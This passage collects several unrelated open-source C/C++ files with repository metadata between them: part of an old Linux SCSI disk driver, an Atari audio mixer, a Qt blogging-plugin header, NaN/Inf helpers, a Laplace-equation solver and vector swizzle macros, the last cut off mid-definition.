24) & 0xff; cmd[3] = (unsigned char) (block >> 16) & 0xff; cmd[4] = (unsigned char) (block >> 8) & 0xff; cmd[5] = (unsigned char) block & 0xff; cmd[6] = cmd[9] = 0; cmd[7] = (unsigned char) (this_count >> 8) & 0xff; cmd[8] = (unsigned char) this_count & 0xff; } else { if (this_count > 0xff) this_count = 0xff; cmd[1] |= (unsigned char) ((block >> 16) & 0x1f); cmd[2] = (unsigned char) ((block >> 8) & 0xff); cmd[3] = (unsigned char) block & 0xff; cmd[4] = (unsigned char) this_count; cmd[5] = 0; } /* * We shouldn't disconnect in the middle of a sector, so with a dumb * host adapter, it's safe to assume that we can at least transfer * this many bytes between each connect / disconnect. */ SCpnt->transfersize = rscsi_disks[dev].sector_size; SCpnt->underflow = this_count << 9; scsi_do_cmd (SCpnt, (void *) cmd, buff, this_count * rscsi_disks[dev].sector_size, rw_intr, (SCpnt->device->type == TYPE_DISK ? SD_TIMEOUT : SD_MOD_TIMEOUT), MAX_RETRIES); } static int check_scsidisk_media_change(kdev_t full_dev){ int retval; int target; struct inode inode; int flag = 0; target = DEVICE_NR(full_dev); if (target >= sd_template.dev_max || !rscsi_disks[target].device) { printk("SCSI disk request error: invalid device.\n"); return 0; }; if(!rscsi_disks[target].device->removable) return 0; inode.i_rdev = full_dev; /* This is all we really need here */ retval = sd_ioctl(&inode, NULL, SCSI_IOCTL_TEST_UNIT_READY, 0); if(retval){ /* Unable to test, unit probably not ready. This usually * means there is no disc in the drive. Mark as changed, * and we will figure it out later once the drive is * available again. */ rscsi_disks[target].ready = 0; rscsi_disks[target].device->changed = 1; return 1; /* This will force a flush, if called from * check_disk_change */ }; /* * for removable scsi disk ( FLOPTICAL ) we have to recognise the * presence of disk in the drive. This is kept in the Scsi_Disk * struct and tested at open ! Daniel Roche ( dan@lectra.fr ) */ rscsi_disks[target].ready = 1; /* FLOPTICAL */ retval = rscsi_disks[target].device->changed; if(!flag) rscsi_disks[target].device->changed = 0; return retval; } static void sd_init_done (Scsi_Cmnd * SCpnt) { struct request * req; req = &SCpnt->request; req->rq_status = RQ_SCSI_DONE; /* Busy, but indicate request done */ if (req->sem != NULL) { up(req->sem); } } static int sd_init_onedisk(int i) { unsigned char cmd[10]; unsigned char *buffer; unsigned long spintime; int the_result, retries; Scsi_Cmnd * SCpnt; /* We need to retry the READ_CAPACITY because a UNIT_ATTENTION is * considered a fatal error, and many devices report such an error * just after a scsi bus reset. */ SCpnt = allocate_device(NULL, rscsi_disks[i].device, 1); buffer = (unsigned char *) scsi_malloc(512); spintime = 0; /* Spin up drives, as required. Only do this at boot time */ if (!MODULE_FLAG){ do{ retries = 0; while(retries < 3) { cmd[0] = TEST_UNIT_READY; cmd[1] = (rscsi_disks[i].device->lun << 5) & 0xe0; memset ((void *) &cmd[2], 0, 8); SCpnt->cmd_len = 0; SCpnt->sense_buffer[0] = 0; SCpnt->sense_buffer[2] = 0; { struct semaphore sem = MUTEX_LOCKED; /* Mark as really busy again */ SCpnt->request.rq_status = RQ_SCSI_BUSY; SCpnt->request.sem = &sem; scsi_do_cmd (SCpnt, (void *) cmd, (void *) buffer, 512, sd_init_done, SD_TIMEOUT, MAX_RETRIES); down(&sem); } the_result = SCpnt->result; retries++; if( the_result == 0 || SCpnt->sense_buffer[2] != UNIT_ATTENTION) break; } /* Look for non-removable devices that return NOT_READY. * Issue command to spin up drive for these cases. */ if(the_result && !rscsi_disks[i].device->removable && SCpnt->sense_buffer[2] == NOT_READY) { int time1; if(!spintime){ printk( "sd%c: Spinning up disk...", 'a' + i ); cmd[0] = START_STOP; cmd[1] = (rscsi_disks[i].device->lun << 5) & 0xe0; cmd[1] |= 1; /* Return immediately */ memset ((void *) &cmd[2], 0, 8); cmd[4] = 1; /* Start spin cycle */ SCpnt->cmd_len = 0; SCpnt->sense_buffer[0] = 0; SCpnt->sense_buffer[2] = 0; { struct semaphore sem = MUTEX_LOCKED; /* Mark as really busy again */ SCpnt->request.rq_status = RQ_SCSI_BUSY; SCpnt->request.sem = &sem; scsi_do_cmd (SCpnt, (void *) cmd, (void *) buffer, 512, sd_init_done, SD_TIMEOUT, MAX_RETRIES); down(&sem); } spintime = jiffies; } time1 = jiffies; while(jiffies < time1 + HZ); /* Wait 1 second for next try */ printk( "." ); }; } while(the_result && spintime && spintime+100*HZ > jiffies); if (spintime) { if (the_result) printk( "not responding...\n" ); else printk( "ready\n" ); } }; /* !MODULE_FLAG */ retries = 3; do { cmd[0] = READ_CAPACITY; cmd[1] = (rscsi_disks[i].device->lun << 5) & 0xe0; memset ((void *) &cmd[2], 0, 8); memset ((void *) buffer, 0, 8); SCpnt->cmd_len = 0; SCpnt->sense_buffer[0] = 0; SCpnt->sense_buffer[2] = 0; { struct semaphore sem = MUTEX_LOCKED; /* Mark as really busy again */ SCpnt->request.rq_status = RQ_SCSI_BUSY; SCpnt->request.sem = &sem; scsi_do_cmd (SCpnt, (void *) cmd, (void *) buffer, 8, sd_init_done, SD_TIMEOUT, MAX_RETRIES); down(&sem); /* sleep until it is ready */ } the_result = SCpnt->result; retries--; } while(the_result && retries); SCpnt->request.rq_status = RQ_INACTIVE; /* Mark as not busy */ wake_up(&SCpnt->device->device_wait); /* Wake up a process waiting for device */ /* * The SCSI standard says: * "READ CAPACITY is necessary for self configuring software" * While not mandatory, support of READ CAPACITY is strongly encouraged. * We used to die if we couldn't successfully do a READ CAPACITY. * But, now we go on about our way. The side effects of this are * * 1. We can't know block size with certainty. I have said "512 bytes * is it" as this is most common. * * 2. Recovery from when some one attempts to read past the end of the * raw device will be slower. */ if (the_result) { printk ("sd%c : READ CAPACITY failed.\n" "sd%c : status = %x, message = %02x, host = %d, driver = %02x \n", 'a' + i, 'a' + i, status_byte(the_result), msg_byte(the_result), host_byte(the_result), driver_byte(the_result) ); if (driver_byte(the_result) & DRIVER_SENSE) printk("sd%c : extended sense code = %1x \n", 'a' + i, SCpnt->sense_buffer[2] & 0xf); else printk("sd%c : sense not available. \n", 'a' + i); printk("sd%c : block size assumed to be 512 bytes, disk size 1GB. \n", 'a' + i); rscsi_disks[i].capacity = 0x1fffff; rscsi_disks[i].sector_size = 512; /* Set dirty bit for removable devices if not ready - sometimes drives * will not report this properly. */ if(rscsi_disks[i].device->removable && SCpnt->sense_buffer[2] == NOT_READY) rscsi_disks[i].device->changed = 1; } else { /* * FLOPTICAL , if read_capa is ok , drive is assumed to be ready */ rscsi_disks[i].ready = 1; rscsi_disks[i].capacity = (buffer[0] << 24) | (buffer[1] << 16) | (buffer[2] << 8) | buffer[3]; rscsi_disks[i].sector_size = (buffer[4] << 24) | (buffer[5] << 16) | (buffer[6] << 8) | buffer[7]; if (rscsi_disks[i].sector_size == 0) { rscsi_disks[i].sector_size = 512; printk("sd%c : sector size 0 reported, assuming 512.\n", 'a' + i); } if (rscsi_disks[i].sector_size != 512 && rscsi_disks[i].sector_size != 1024 && rscsi_disks[i].sector_size != 256) { printk ("sd%c : unsupported sector size %d.\n", 'a' + i, rscsi_disks[i].sector_size); if(rscsi_disks[i].device->removable){ rscsi_disks[i].capacity = 0; } else { printk ("scsi : deleting disk entry.\n"); rscsi_disks[i].device = NULL; sd_template.nr_dev--; return i; }; } { /* * The msdos fs need to know the hardware sector size * So I have created this table. See ll_rw_blk.c * Jacques Gelinas (Jacques@solucorp.qc.ca) */ int m; int hard_sector = rscsi_disks[i].sector_size; /* There is 16 minor allocated for each devices */ for (m=i<<4; m<((i+1)<<4); m++){ sd_hardsizes[m] = hard_sector; } printk ("SCSI Hardware sector size is %d bytes on device sd%c\n", hard_sector,i+'a'); } if(rscsi_disks[i].sector_size == 1024) rscsi_disks[i].capacity <<= 1; /* Change into 512 byte sectors */ if(rscsi_disks[i].sector_size == 256) rscsi_disks[i].capacity >>= 1; /* Change into 512 byte sectors */ } /* * Unless otherwise specified, this is not write protected. */ rscsi_disks[i].write_prot = 0; if ( rscsi_disks[i].device->removable && rscsi_disks[i].ready ) { /* FLOPTICAL */ /* * for removable scsi disk ( FLOPTICAL ) we have to recognise * the Write Protect Flag. This flag is kept in the Scsi_Disk struct * and tested at open ! * Daniel Roche ( dan@lectra.fr ) */ memset ((void *) &cmd[0], 0, 8); cmd[0] = MODE_SENSE; cmd[1] = (rscsi_disks[i].device->lun << 5) & 0xe0; cmd[2] = 1; /* page code 1 ?? */ cmd[4] = 12; SCpnt->cmd_len = 0; SCpnt->sense_buffer[0] = 0; SCpnt->sense_buffer[2] = 0; /* same code as READCAPA !! */ { struct semaphore sem = MUTEX_LOCKED; SCpnt->request.rq_status = RQ_SCSI_BUSY; /* Mark as really busy again */ SCpnt->request.sem = &sem; scsi_do_cmd (SCpnt, (void *) cmd, (void *) buffer, 512, sd_init_done, SD_TIMEOUT, MAX_RETRIES); down(&sem); } the_result = SCpnt->result; SCpnt->request.rq_status = RQ_INACTIVE; /* Mark as not busy */ wake_up(&SCpnt->device->device_wait); if ( the_result ) { printk ("sd%c: test WP failed, assume Write Protected\n",i+'a'); rscsi_disks[i].write_prot = 1; } else { rscsi_disks[i].write_prot = ((buffer[2] & 0x80) != 0); printk ("sd%c: Write Protect is %s\n",i+'a', rscsi_disks[i].write_prot ? "on" : "off"); } } /* check for write protect */ rscsi_disks[i].ten = 1; rscsi_disks[i].remap = 1; scsi_free(buffer, 512); return i; } /* * The sd_init() function looks at all SCSI drives present, determines * their size, and reads partition table entries for them. */ static int sd_registered = 0; static int sd_init() { int i; if (sd_template.dev_noticed == 0) return 0; if(!sd_registered) { if (register_blkdev(MAJOR_NR,"sd",&sd_fops)) { printk("Unable to get major %d for SCSI disk\n",MAJOR_NR); return 1; } sd_registered++; } /* We do not support attaching loadable devices yet. */ if(rscsi_disks) return 0; sd_template.dev_max = sd_template.dev_noticed + SD_EXTRA_DEVS; rscsi_disks = (Scsi_Disk *) scsi_init_malloc(sd_template.dev_max * sizeof(Scsi_Disk), GFP_ATOMIC); memset(rscsi_disks, 0, sd_template.dev_max * sizeof(Scsi_Disk)); sd_sizes = (int *) scsi_init_malloc((sd_template.dev_max << 4) * sizeof(int), GFP_ATOMIC); memset(sd_sizes, 0, (sd_template.dev_max << 4) * sizeof(int)); sd_blocksizes = (int *) scsi_init_malloc((sd_template.dev_max << 4) * sizeof(int), GFP_ATOMIC); sd_hardsizes = (int *) scsi_init_malloc((sd_template.dev_max << 4) * sizeof(int), GFP_ATOMIC); for(i=0;i<(sd_template.dev_max << 4);i++){ sd_blocksizes[i] = 1024; sd_hardsizes[i] = 512; } blksize_size[MAJOR_NR] = sd_blocksizes; hardsect_size[MAJOR_NR] = sd_hardsizes; sd = (struct hd_struct *) scsi_init_malloc((sd_template.dev_max << 4) * sizeof(struct hd_struct), GFP_ATOMIC); sd_gendisk.max_nr = sd_template.dev_max; sd_gendisk.part = sd; sd_gendisk.sizes = sd_sizes; sd_gendisk.real_devices = (void *) rscsi_disks; return 0; } static void sd_finish() { int i; blk_dev[MAJOR_NR].request_fn = DEVICE_REQUEST; sd_gendisk.next = gendisk_head; gendisk_head = &sd_gendisk; for (i = 0; i < sd_template.dev_max; ++i) if (!rscsi_disks[i].capacity && rscsi_disks[i].device) { if (MODULE_FLAG && !rscsi_disks[i].has_part_table) { sd_sizes[i << 4] = rscsi_disks[i].capacity; /* revalidate does sd_init_onedisk via MAYBE_REINIT*/ revalidate_scsidisk(MKDEV(MAJOR_NR, i << 4), 0); } else i=sd_init_onedisk(i); rscsi_disks[i].has_part_table = 1; } /* If our host adapter is capable of scatter-gather, then we increase * the read-ahead to 16 blocks (32 sectors). If not, we use * a two block (4 sector) read ahead. */ if(rscsi_disks[0].device && rscsi_disks[0].device->host->sg_tablesize) read_ahead[MAJOR_NR] = 120; /* 120 sector read-ahead */ else read_ahead[MAJOR_NR] = 4; /* 4 sector read-ahead */ return; } static int sd_detect(Scsi_Device * SDp){ if(SDp->type != TYPE_DISK && SDp->type != TYPE_MOD) return 0; printk("Detected scsi disk sd%c at scsi%d, channel %d, id %d, lun %d\n", 'a'+ (sd_template.dev_noticed++), SDp->host->host_no, SDp->channel, SDp->id, SDp->lun); return 1; } static int sd_attach(Scsi_Device * SDp){ Scsi_Disk * dpnt; int i; if(SDp->type != TYPE_DISK && SDp->type != TYPE_MOD) return 0; if(sd_template.nr_dev >= sd_template.dev_max) { SDp->attached--; return 1; } for(dpnt = rscsi_disks, i=0; i<sd_template.dev_max; i++, dpnt++) if(!dpnt->device) break; if(i >= sd_template.dev_max) panic ("scsi_devices corrupt (sd)"); SDp->scsi_request_fn = do_sd_request; rscsi_disks[i].device = SDp; rscsi_disks[i].has_part_table = 0; sd_template.nr_dev++; sd_gendisk.nr_real++; return 0; } #define DEVICE_BUSY rscsi_disks[target].device->busy #define USAGE rscsi_disks[target].device->access_count #define CAPACITY rscsi_disks[target].capacity #define MAYBE_REINIT sd_init_onedisk(target) #define GENDISK_STRUCT sd_gendisk /* This routine is called to flush all partitions and partition tables * for a changed scsi disk, and then re-read the new partition table. * If we are revalidating a disk because of a media change, then we * enter with usage == 0. If we are using an ioctl, we automatically have * usage == 1 (we need an open channel to use an ioctl :-), so this * is our limit. */ int revalidate_scsidisk(kdev_t dev, int maxusage){ int target; struct gendisk * gdev; unsigned long flags; int max_p; int start; int i; target = DEVICE_NR(dev); gdev = &GENDISK_STRUCT; save_flags(flags); cli(); if (DEVICE_BUSY || USAGE > maxusage) { restore_flags(flags); printk("Device busy for revalidation (usage=%d)\n", USAGE); return -EBUSY; }; DEVICE_BUSY = 1; restore_flags(flags); max_p = gdev->max_p; start = target << gdev->minor_shift; for (i=max_p - 1; i >=0 ; i--) { int minor = start+i; kdev_t devi = MKDEV(MAJOR_NR, minor); sync_dev(devi); invalidate_inodes(devi); invalidate_buffers(devi); gdev->part[minor].start_sect = 0; gdev->part[minor].nr_sects = 0; /* * Reset the blocksize for everything so that we can read * the partition table. */ blksize_size[MAJOR_NR][minor] = 1024; }; #ifdef MAYBE_REINIT MAYBE_REINIT; #endif gdev->part[start].nr_sects = CAPACITY; resetup_one_dev(gdev, target); DEVICE_BUSY = 0; return 0; } static int fop_revalidate_scsidisk(kdev_t dev){ return revalidate_scsidisk(dev, 0); } static void sd_detach(Scsi_Device * SDp) { Scsi_Disk * dpnt; int i; int max_p; int start; for(dpnt = rscsi_disks, i=0; i<sd_template.dev_max; i++, dpnt++) if(dpnt->device == SDp) { /* If we are disconnecting a disk driver, sync and invalidate * everything */ max_p = sd_gendisk.max_p; start = i << sd_gendisk.minor_shift; for (i=max_p - 1; i >=0 ; i--) { int minor = start+i; kdev_t devi = MKDEV(MAJOR_NR, minor); sync_dev(devi); invalidate_inodes(devi); invalidate_buffers(devi); sd_gendisk.part[minor].start_sect = 0; sd_gendisk.part[minor].nr_sects = 0; sd_sizes[minor] = 0; }; dpnt->has_part_table = 0; dpnt->device = NULL; dpnt->capacity = 0; SDp->attached--; sd_template.dev_noticed--; sd_template.nr_dev--; sd_gendisk.nr_real--; return; } return; } #ifdef MODULE int init_module(void) { sd_template.usage_count = &mod_use_count_; return scsi_register_module(MODULE_SCSI_DEV, &sd_template); } void cleanup_module( void) { struct gendisk * prev_sdgd; struct gendisk * sdgd; scsi_unregister_module(MODULE_SCSI_DEV, &sd_template); unregister_blkdev(SCSI_DISK_MAJOR, "sd"); sd_registered--; if( rscsi_disks != NULL ) { scsi_init_free((char *) rscsi_disks, (sd_template.dev_noticed + SD_EXTRA_DEVS) * sizeof(Scsi_Disk)); scsi_init_free((char *) sd_sizes, sd_template.dev_max * sizeof(int)); scsi_init_free((char *) sd_blocksizes, sd_template.dev_max * sizeof(int)); scsi_init_free((char *) sd_hardsizes, sd_template.dev_max * sizeof(int)); scsi_init_free((char *) sd, (sd_template.dev_max << 4) * sizeof(struct hd_struct)); /* * Now remove sd_gendisk from the linked list */ sdgd = gendisk_head; prev_sdgd = NULL; while(sdgd != &sd_gendisk) { prev_sdgd = sdgd; sdgd = sdgd->next; } if(sdgd != &sd_gendisk) printk("sd_gendisk not in disk chain.\n"); else { if(prev_sdgd != NULL) prev_sdgd->next = sdgd->next; else gendisk_head = sdgd->next; } } blksize_size[MAJOR_NR] = NULL; blk_dev[MAJOR_NR].request_fn = NULL; blk_size[MAJOR_NR] = NULL; hardsect_size[MAJOR_NR] = NULL; read_ahead[MAJOR_NR] = 0; sd_template.dev_max = 0; } #endif /* MODULE */ /* * Overrides for Emacs so that we almost follow Linus's tabbing style. * Emacs will notice this stuff at the end of the file and automatically * adjust the settings for this buffer only. This must remain at the end * of the file. * --------------------------------------------------------------------------- * Local variables: * c-indent-level: 4 * c-brace-imaginary-offset: 0 * c-brace-offset: -4 * c-argdecl-indent: 4 * c-label-offset: -4 * c-continued-statement-offset: 4 * c-continued-brace-offset: 0 * indent-tabs-mode: nil * tab-width: 8 * End: */
29.647668
92
0.619145
dfee2efa7d5afbe01a5b357f8c4c58342d53c806
3,419
c
C
src/zz-m68k/mix_ata.c
benjihan/zingzong
fb91e0d1c15f47aefd83cccada13a2e1757ec56d
[ "MIT" ]
3
2018-01-10T21:09:42.000Z
2018-12-16T08:34:54.000Z
src/zz-m68k/mix_ata.c
benjihan/zingzong
fb91e0d1c15f47aefd83cccada13a2e1757ec56d
[ "MIT" ]
1
2018-06-22T22:08:24.000Z
2018-06-23T12:17:36.000Z
src/zz-m68k/mix_ata.c
benjihan/zingzong
fb91e0d1c15f47aefd83cccada13a2e1757ec56d
[ "MIT" ]
null
null
null
/** * @file mix_ata.c * @author Benjamin Gerard AKA Ben/OVR * @date 2017-08-28 * @brief Atari mixer (common code). */ #include "../zz_private.h" #include "mix_ata.h" static void ata_trig(fast_t * restrict K, uint16_t scl) { fast_t * const E = K+4; for (; K<E; ++K) { chan_t * restrict const C = K->chn; const u8_t trig = C->trig; C->trig = TRIG_NOP; switch (trig) { case TRIG_NOTE: zz_assert(C->note.ins); K->cur = C->note.ins->pcm; K->end = K->cur + C->note.ins->len; K->dec = 0; K->lpl = C->note.ins->lpl; case TRIG_SLIDE: K->xtp = mulu(scl, C->note.cur>>4) >> 8; break; case TRIG_STOP: K->cur = 0; case TRIG_NOP: break; default: zz_assert(!"wtf"); } } } /** * Allocate free place in the fifo buffer (i1,n1), (i2,n2) * * . Set fifo::ro to the old pointer position * . Get fifo::rp read pointer current position * . Set return buffers * . Increments fifo::wp * */ static void fifo_play(fifo_t * const F, int16_t n) { register int16_t i1,n1,i2,n2,rp; zz_assert( n+n <= F->sz ); if ( unlikely(F->wp == -1) ) { F->rp = rp = i1 = 0; /* F->rp is F->ro */ } else { rp = F->pb_play(); i1 = F->wp; } zz_assert( rp >= 0 ); zz_assert( rp < F->sz ); zz_assert( i1 >= 0 ); zz_assert( i1 < F->sz ); n1 = F->rp - i1; if (n1 <= 0) n1 += F->sz; /* n1 = free */ if (n1 > n) n1 = n; /* n1 = min(want,free) */ n2 = 0; i2 = i1 + n1; if ( unlikely(i2 >= F->sz) ) { /* the larger the FIFO the less likely */ n2 = i2 - F->sz; i2 = 0; n1 -= n2; } F->ro = F->rp; F->rp = rp; F->i1 = i1; F->n1 = n1; F->wp = (F->i2 = i2) + (F->n2 = n2); if (1) { int16_t read = F->rp - F->ro; if (read < 0) read += F->sz; dmsg("XXX: " "+%-3lu R:%-3lu W:%-3lu %3lu:%-3lu %3lu:%-3lu %3lu/%3lu/%3lu\n", LU(read), LU(F->rp), LU(F->wp), LU(F->i1), LU(F->n1), LU(F->i2), LU(F->n2), LU(F->n1+F->n2), LU(n), LU(F->sz) ); } zz_assert( F->wp >= 0 ); zz_assert( F->wp < F->sz ); zz_assert( F->i1 >= 0 ); zz_assert( F->i2 >= 0 ); zz_assert( F->i1+F->n1 <= F->sz ); zz_assert( F->i2+F->n2 <= F->sz ); zz_assert( n <= F->sz ); zz_assert( F->n1 + F->n2 <= n ); zz_assert( F->n1 <= n ); zz_assert( F->n2 <= n ); zz_assert( F->i2 == 0 || F->n2 == 0); } void play_ata(ata_t * restrict ata, chan_t * restrict chn, int16_t n) { /* setup channel mapping */ ata->fast[chn->pam^ata->swap].chn = chn; ++ chn; ata->fast[chn->pam^ata->swap].chn = chn; ++ chn; ata->fast[chn->pam^ata->swap].chn = chn; ++ chn; ata->fast[chn->pam^ata->swap].chn = chn; ata_trig(ata->fast, ata->step); fifo_play(&ata->fifo, n); } void stop_ata(ata_t * ata) { ata->fifo.pb_stop(); } /* Utility functions */ void dma8_setup(void * adr, void * end, uint16_t mode) { dma8_stop(); dma8_write_ptr(DMA+DMA_ADR, adr); dma8_write_ptr(DMA+DMA_END, end); DMA[DMA_MODE] = mode; } void * dma8_position(void) { void * pos = (void*)-1; asm volatile ( " movea.w #0x8900,%%a0 \n" "0:\n" " move.l %[pos],%%a1 \n" " movep.l 7(%%a0),%[pos] \n" " and.l %[msk],%[pos] \n" " cmp.l %%a1,%[pos] \n" " bne.s 0b \n\t" : [pos] "+d" (pos) : [msk] "d" (0xFFFFFF) : "cc","a0","a1"); return pos; }
22.493421
74
0.499854
44ae0e8211e620379a3f46c70fa83900b6c2d64b
1,150
h
C
src/plugins/blogique/plugins/hestia/accountconfigurationwidget.h
Maledictus/leechcraft
79ec64824de11780b8e8bdfd5d8a2f3514158b12
[ "BSL-1.0" ]
120
2015-01-22T14:10:39.000Z
2021-11-25T12:57:16.000Z
src/plugins/blogique/plugins/hestia/accountconfigurationwidget.h
Maledictus/leechcraft
79ec64824de11780b8e8bdfd5d8a2f3514158b12
[ "BSL-1.0" ]
8
2015-02-07T19:38:19.000Z
2017-11-30T20:18:28.000Z
src/plugins/blogique/plugins/hestia/accountconfigurationwidget.h
Maledictus/leechcraft
79ec64824de11780b8e8bdfd5d8a2f3514158b12
[ "BSL-1.0" ]
33
2015-02-07T16:59:55.000Z
2021-10-12T00:36:40.000Z
/********************************************************************** * LeechCraft - modular cross-platform feature rich internet client. * Copyright (C) 2010-2012 Oleg Linkin * * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE or copy at https://www.boost.org/LICENSE_1_0.txt) **********************************************************************/ #pragma once #include <QWidget> #include <interfaces/blogique/ibloggingplatform.h> #include "ui_accountconfigurationwidget.h" namespace LC { namespace Blogique { namespace Hestia { class AccountConfigurationWidget : public QWidget { Q_OBJECT Ui::AccountConfigurationWidget Ui_; IBloggingPlatform::AccountAddOptions Option_; const QString SuggestedPath_; public: AccountConfigurationWidget (QWidget* = 0, IBloggingPlatform::AccountAddOptions = IBloggingPlatform::AAONoOptions, const QString& = QString ()); void SetAccountBasePath (const QString& path); QString GetAccountBasePath () const; IBloggingPlatform::AccountAddOptions GetOption () const; private slots: void on_OpenAccountBase__released (); }; } } }
26.136364
83
0.673043
cd545a7be69d2b96d0420968c4e3c652e9f30945
499
h
C
src/dsp/nan-inf.h
ag4015/constant-q-cpp
8bd538cf52b12884f2119d168bfe18f63656c60c
[ "BSD-4-Clause-UC" ]
null
null
null
src/dsp/nan-inf.h
ag4015/constant-q-cpp
8bd538cf52b12884f2119d168bfe18f63656c60c
[ "BSD-4-Clause-UC" ]
null
null
null
src/dsp/nan-inf.h
ag4015/constant-q-cpp
8bd538cf52b12884f2119d168bfe18f63656c60c
[ "BSD-4-Clause-UC" ]
null
null
null
#ifndef NAN_INF_H #define NAN_INF_H #include "ConstantQConfig.h" #define ISNAN(x) (sizeof(x) == sizeof(cq_float) ? ISNANd(x) : ISNANf(x)) static inline int ISNANf(cq_float x) { return x != x; } static inline int ISNANd(cq_float x) { return x != x; } #define ISINF(x) (sizeof(x) == sizeof(cq_float) ? ISINFd(x) : ISINFf(x)) static inline int ISINFf(cq_float x) { return !ISNANf(x) && ISNANf(x - x); } static inline int ISINFd(cq_float x) { return !ISNANd(x) && ISNANd(x - x); } #endif
31.1875
76
0.661323
13f8533aef2e111ad24af2768f5bb6c52bd581fe
2,900
c
C
Assignment_9/Assign_9.c
pkck28/Applied-Computation-in-Mechanical-Sciences
411d56faae2291fd056cd2f1a3e09e2854f84b49
[ "MIT" ]
null
null
null
Assignment_9/Assign_9.c
pkck28/Applied-Computation-in-Mechanical-Sciences
411d56faae2291fd056cd2f1a3e09e2854f84b49
[ "MIT" ]
null
null
null
Assignment_9/Assign_9.c
pkck28/Applied-Computation-in-Mechanical-Sciences
411d56faae2291fd056cd2f1a3e09e2854f84b49
[ "MIT" ]
null
null
null
/* Code for solving Elliptic PDE. Solving Laplace Equation for demonstrating */ #include <stdio.h> #include <time.h> #include <math.h> #define no_of_cells_x 100 #define no_of_cells_y 100 int main() { clock_t begin = clock(); /*Clock staring from this line*/ double Aw, Ap, Ae, As, An, w = 1.1, error = 1; /* Defining Coefficients of temperature at Node.*/ FILE *Contour_Z = fopen("Contourlines_Z.csv", "w"); FILE *X = fopen("Contourlines_X.csv", "w"); FILE *Y = fopen("Contourlines_Y.csv", "w"); int i, j; double N = 2.4, M = 3.0, dx = N / no_of_cells_x, dy = M / no_of_cells_y, disx = 0, disy = 0; /* Defining cell size */ Aw = Ae = 1; Ap = -2 - 2 * (dx * dx / (dy * dy)); As = An = dx * dx / (dy * dy); double T[no_of_cells_x][no_of_cells_y] = {0}; double Q[no_of_cells_x][no_of_cells_y] = {0}; for (i = 0; i < no_of_cells_x; i++) /* Assigning Boundary conditions*/ { if (i == 0) { for (j = 1; j < no_of_cells_y - 1; j++) { T[i][j] = 273 + 75; } } else if (i == no_of_cells_x - 1) { for (j = 1; j < no_of_cells_y - 1; j++) { T[i][j] = 273 + 100; } } T[i][0] = 273 + 50; T[i][no_of_cells_y - 1] = 273 + 300; } while (error > 0.01) { error = 0; for (i = 1; i < no_of_cells_x - 1; i++) { for (j = 1; j < no_of_cells_y - 1; j++) { if (error < (1 - w) * T[i][j] + (w / Ap) * (Q[i][j] - (Ae * T[i + 1][j] + Aw * T[i - 1][j] + An * T[i][j + 1] + As * T[i][j - 1])) - T[i][j]) { error = (1 - w) * T[i][j] + (w / Ap) * (Q[i][j] - (Ae * T[i + 1][j] + Aw * T[i - 1][j] + An * T[i][j + 1] + As * T[i][j - 1])) - T[i][j]; } T[i][j] = (1 - w) * T[i][j] + (w / Ap) * (Q[i][j] - (Ae * T[i + 1][j] + Aw * T[i - 1][j] + An * T[i][j + 1] + As * T[i][j - 1])); } } } for (i = no_of_cells_x - 1; i >= 0; i--) { fprintf(Contour_Z,"\n,"); fprintf(X,"\n,"); fprintf(Y,"\n,"); for (j = 0; j < no_of_cells_y; j++) { fprintf(Contour_Z,"%f,", T[i][j]); fprintf(X,"%f,",disx); fprintf(Y,"%f,",disy); disy = disy + dy; //printf("%f ", T[i][j]); } disx = disx + dx; } fclose(Contour_Z); fclose(X); fclose(Y); clock_t end = clock(); /* Clock Ends here */ double time_spent = (double)(end - begin) / CLOCKS_PER_SEC; /* Calculating time taken for code to execute */ printf("Time taken for code execution : %0.6f milli seconds.\n", 1000 * time_spent); /* Printing the time taken */ }
32.222222
157
0.426897
7a3c0e43605ecb314357a6252bbf49e39d0f7c45
11,578
h
C
src/imvec/swizzles.h
froyo-np/imvec
fc8a364f1e1e030854e367abe3022300c1891487
[ "Unlicense" ]
null
null
null
src/imvec/swizzles.h
froyo-np/imvec
fc8a364f1e1e030854e367abe3022300c1891487
[ "Unlicense" ]
null
null
null
src/imvec/swizzles.h
froyo-np/imvec
fc8a364f1e1e030854e367abe3022300c1891487
[ "Unlicense" ]
null
null
null
// a collection of horrific vector-component swizzle functions, // defined by way of macros // to be used only by the specializations of the vec<T,N> class // these were generated by a simple program #define _SWIZZLE_2(n,a,b) vec<T,2> n()const {return vec<T,2>(this->data[a],this->data[b]);} #define _SWIZZLE_3(n,a,b,c) vec<T,3> n()const {return vec<T,3>(this->data[a],this->data[b], this->data[c]);} #define _SWIZZLE_4(n,a,b,c,d) vec<T,4> n()const {return vec<T,4>(this->data[a],this->data[b], this->data[c],this->data[d]);} #define _ALL_SWIZZLES_2 _SWIZZLE_2(xy,0,1); \ _SWIZZLE_2(yx,1,0); \ _SWIZZLE_2(xx,0,0); \ _SWIZZLE_2(yy,1,1); #define _SWIZZLE_3_PICK_2 _SWIZZLE_2(xx,0,0); \ _SWIZZLE_2(xy,0,1); \ _SWIZZLE_2(xz,0,2); \ _SWIZZLE_2(yx,1,0); \ _SWIZZLE_2(yy,1,1); \ _SWIZZLE_2(yz,1,2); \ _SWIZZLE_2(zx,2,0); \ _SWIZZLE_2(zy,2,1); \ _SWIZZLE_2(zz,2,2) #define _ALL_SWIZZLES_3 _SWIZZLE_3_PICK_2 \ _SWIZZLE_3(xxx, 0,0,0); \ _SWIZZLE_3(xxy, 0,0,1); \ _SWIZZLE_3(xxz, 0,0,2); \ _SWIZZLE_3(xyx, 0,1,0); \ _SWIZZLE_3(xyy, 0,1,1); \ _SWIZZLE_3(xyz, 0,1,2); \ _SWIZZLE_3(xzx, 0,2,0); \ _SWIZZLE_3(xzy, 0,2,1); \ _SWIZZLE_3(xzz, 0,2,2); \ _SWIZZLE_3(yxx, 1,0,0); \ _SWIZZLE_3(yxy, 1,0,1); \ _SWIZZLE_3(yxz, 1,0,2); \ _SWIZZLE_3(yyx, 1,1,0); \ _SWIZZLE_3(yyy, 1,1,1); \ _SWIZZLE_3(yyz, 1,1,2); \ _SWIZZLE_3(yzx, 1,2,0); \ _SWIZZLE_3(yzy, 1,2,1); \ _SWIZZLE_3(yzz, 1,2,2); \ _SWIZZLE_3(zxx, 2,0,0); \ _SWIZZLE_3(zxy, 2,0,1); \ _SWIZZLE_3(zxz, 2,0,2); \ _SWIZZLE_3(zyx, 2,1,0); \ _SWIZZLE_3(zyy, 2,1,1); \ _SWIZZLE_3(zyz, 2,1,2); \ _SWIZZLE_3(zzx, 2,2,0); \ _SWIZZLE_3(zzy, 2,2,1); \ _SWIZZLE_3(zzz, 2,2,2); #define 